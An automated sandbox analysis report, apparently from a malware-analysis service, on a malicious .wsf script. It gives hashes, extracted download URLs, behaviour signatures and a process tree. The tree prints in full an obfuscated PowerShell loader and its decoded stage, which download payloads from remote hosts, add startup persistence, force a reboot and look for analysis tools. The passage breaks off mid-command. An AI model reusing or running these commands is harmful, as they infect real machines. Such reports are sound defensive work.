Resubmissions
18-12-2024 21:04
241218-zwqlts1pfw 1018-12-2024 20:51
241218-znakmsskek 1016-12-2024 23:23
241216-3c8vvatqdm 10Analysis
-
max time kernel
218s -
max time network
218s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
18-12-2024 21:04
Static task
static1
Behavioral task
behavioral1
Sample
72165d54d7e77e68ec5263d8ea9f5041.wsf
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
72165d54d7e77e68ec5263d8ea9f5041.wsf
Resource
win10v2004-20241007-en
Errors
General
-
Target
72165d54d7e77e68ec5263d8ea9f5041.wsf
-
Size
30KB
-
MD5
72165d54d7e77e68ec5263d8ea9f5041
-
SHA1
10c21f74c5b3f7b7807b6699f7abf00078521b8f
-
SHA256
8e77a55f8b5baea2e55a7304ef01d1bc3750d8e2d453c49be52501e38b993ace
-
SHA512
5e8fb5f8a6f14fd42826271bc6b84da2d636e85a1bfe1f478a0bd2c309b5bd1e9ab98d03606aba3abbaad335a10f0fcbd713c13f9ff89e5be04148e965f267bd
-
SSDEEP
96:zJAkdWKWiXW2W2WDAgFOPBAFFOPBAFFOPBAFFOPBAFFOPBAFFOPBAFFOPBAFFOPu:XPPPPPPPPDL2PPPPPPPPPPPPPPPPf
Malware Config
Extracted
https://desckvbrat.com.br/Upcrypter/01/DLL01.txt
https://drive.google.com/uc?export=download&id=
https://desckvbrat.com.br/Upcrypter/01/DLL01.txt
Signatures
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Blocklisted process makes network request 3 IoCs
flow pid Process 3 2572 WScript.exe 7 3008 powershell.exe 9 3008 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\72165d54d7e77e68ec5263d8ea9f5041.wsf powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\72165d54d7e77e68ec5263d8ea9f5041.wsf powershell.exe -
pid Process 2032 powershell.exe 3008 powershell.exe 2560 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 6 drive.google.com 7 drive.google.com -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File opened for modification C:\Windows\Logs\DPX\setupact.log wusa.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log wusa.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2032 powershell.exe 3008 powershell.exe 2816 powershell.exe 2560 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2032 powershell.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeDebugPrivilege 2816 powershell.exe Token: SeDebugPrivilege 2560 powershell.exe Token: SeShutdownPrivilege 1032 shutdown.exe Token: SeRemoteShutdownPrivilege 1032 shutdown.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 2572 wrote to memory of 2032 2572 WScript.exe 31 PID 2572 wrote to memory of 2032 2572 WScript.exe 31 PID 2572 wrote to memory of 2032 2572 WScript.exe 31 PID 2032 wrote to memory of 3008 2032 powershell.exe 33 PID 2032 wrote to memory of 3008 2032 powershell.exe 33 PID 2032 wrote to memory of 3008 2032 powershell.exe 33 PID 3008 wrote to memory of 2816 3008 powershell.exe 34 PID 3008 wrote to memory of 2816 3008 powershell.exe 34 PID 3008 wrote to memory of 2816 3008 powershell.exe 34 PID 2816 wrote to memory of 2500 2816 powershell.exe 35 PID 2816 wrote to memory of 2500 2816 powershell.exe 35 PID 2816 wrote to memory of 2500 2816 powershell.exe 35 PID 3008 wrote to memory of 2560 3008 powershell.exe 36 PID 3008 wrote to memory of 2560 3008 powershell.exe 36 PID 3008 wrote to memory of 2560 3008 powershell.exe 36 PID 3008 wrote to memory of 1032 3008 powershell.exe 38 PID 3008 wrote to memory of 1032 3008 powershell.exe 38 PID 3008 wrote to memory of 1032 3008 powershell.exe 38
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\72165d54d7e77e68ec5263d8ea9f5041.wsf"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $kwyjr = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHQAUQ' + [char]66 + 'LAEYAagAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'UAHMAdA' + [char]66 + 'DAFoALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAdA' + [char]66 + 'RAEsARg' + [char]66 + 'qACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAdA' + [char]66 + 'RAEsARg' + [char]66 + 'qACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAHQAUQ' + [char]66 + 'LAEYAagAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + '0AFEASw' + [char]66 + 'GAGoAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + '0AFEASw' + [char]66 + 'GAGoAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoARA' + [char]66 + 'tAHcAbQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoARA' + [char]66 + 'tAHcAbQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAeQ' + [char]66 + 'NAGUAcw' + [char]66 + 'hAEIAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAIAA7AGMAZQ' + [char]66 + 'tAFIAYwAkACAAPQAgAGUAcw' + [char]66 + 'hAGIAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAJAA7ACAAKQAgAHEAeg' + [char]66 + '0AGQAcAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAdwAkACAAPQAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIA' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACAAPQAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAOwApACcAdA' + [char]66 + '4AHQALgAxADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8AJwAgACsAIAAnAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACgAIAA9ACAAcQ' + [char]66 + '6AHQAZA' + [char]66 + 'wACQAOw' + [char]66 + '9ADsAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIA' + [char]66 + 'uAHIAdQ' + [char]66 + '0AGUAcgA7ACkAKQ' + [char]66 + 'lAHMAYQ' + [char]66 + 'iAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TACQAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAdA' + [char]66 + 'lAEcALgA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkADsAew' + [char]66 + '5AE0AZQ' + [char]66 + 'zAGEAQgAgAG4Abw' + [char]66 + 'pAHQAYw' + [char]66 + 'uAHUARgA7AGUAcw' + [char]66 + 'hAGIAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'mAHIAaw' + [char]66 + '4ACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAdw' + [char]66 + 'sAGgAaAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHcAbA' + [char]66 + 'oAGgAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHcAbA' + [char]66 + 'oAGgAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZg' + [char]66 + 'yAGsAeAAkACgAIAA9ACAAaw' + [char]66 + 'mAHIAaw' + [char]66 + '4ACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'mAHIAaw' + [char]66 + '4ACQAKAAgAD0AIA' + [char]66 + 'rAGYAcg' + [char]66 + 'rAHgAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZg' + [char]66 + 'yAGsAeAAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$kwyjr = $kwyjr.replace('уЦϚ' , 'B') ;;$lfkpf = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kwyjr ) ); $lfkpf = $lfkpf[-1..-$lfkpf.Length] -join '';$lfkpf = $lfkpf.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\72165d54d7e77e68ec5263d8ea9f5041.wsf');powershell $lfkpf2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$xkrfk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$xkrfk = ($xkrfk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$xkrfk = ($xkrfk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$hhlwc = (New-Object Net.WebClient);$hhlwc.Encoding = [System.Text.Encoding]::UTF8;$hhlwc.DownloadFile($xkrfk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\72165d54d7e77e68ec5263d8ea9f5041.wsf' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$Stringbase;Function BaseMy{;$Fyfdz = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($Stringbase));return $Fyfdz;};$pdtzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( 